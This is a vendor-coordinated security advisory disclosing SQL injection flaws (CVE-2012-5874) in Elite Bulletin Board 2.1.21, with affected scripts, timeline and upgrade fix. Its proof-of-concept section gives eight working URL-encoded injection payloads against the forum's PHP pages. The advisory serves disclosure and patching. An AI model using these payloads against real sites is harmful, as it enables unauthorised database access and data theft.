Elite Bulletin Board 2.1.21 - Multiple SQL Injections

Advisory ID: HTB23133
Product: Elite Bulletin Board
Vendor: elite-board.us
Vulnerable Version(s): 2.1.21 and probably prior
Tested Version: 2.1.21
Vendor Notification: November 28, 2012 
Vendor Patch: December 6, 2012 
Public Disclosure: December 19, 2012 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2012-5874
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Elite Bulletin Board, which can be exploited to perform SQL injection attacks.


1) Multiple SQL injection vulnerabilities in Elite Bulletin Board: CVE-2012-5874

The vulnerabilities exist due to insufficient sanitation of user-supplied data in URI in the "update_whosonline_reg()" and "update_whosonline_guest()" functions within the "/includes/user_function.php" script. 

A remote attacker can send a specially crafted HTTP request to one of the following scripts and execute arbitrary SQL commands in application's database: 
- checkuser.php
- groups.php
- index.php
- login.php
- quicklogin.php
- register.php
- Search.php
- viewboard.php 
- viewtopic.php

Successful exploitation of the vulnerabilities may allow attacker to extract sensitive data from the application's database, and even get complete control over the application under certain conditions (such as insecure configuration of database and web servers).

The following PoC (Proof of Concept) codes demonstrate the vulnerabilities by displaying version of the MySQL server:


http://[host]/checkuser.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/

http://[host]/groups.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_const %28version%28%29,1%29%29a%29%29%29%20--%20/

http://[host]/index.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_const% 28version%28%29,1%29%29a%29%29%29%20--%20/

http://[host]/login.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_const% 28version%28%29,1%29%29a%29%29%29%20--%20/

http://[host]/quicklogin.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_c onst%28version%28%29,1%29%29a%29%29%29%20--%20/

http://[host]/register.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_con st%28version%28%29,1%29%29a%29%29%29%20--%20/

http://[host]/viewboard.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=2

http://[host]/viewtopic.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=2&tid=1


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Solution:

Upgrade to Elite Bulletin Board v2.1.22

More Information:
http://elite-board.us/Community/viewtopic.php?bid=1&tid=310
http://sourceforge.net/projects/elite-board/files/Elite%20Bulletin%20Board%20v2/2.1.22/

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References:

[1] High-Tech Bridge Advisory HTB23133 - https://www.htbridge.com/advisory/HTB23133 - Multiple SQL Injection Vulnerabilities in Elite Bulletin Board.
[2] Elite Bulletin Board - http://elite-board.us/ - Elite Bulletin Board is an advanced Bulletin Board program that provides advanced features such as CAPTCHA, sub-board, skinning ability, multilingual, commercial password encryption, and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.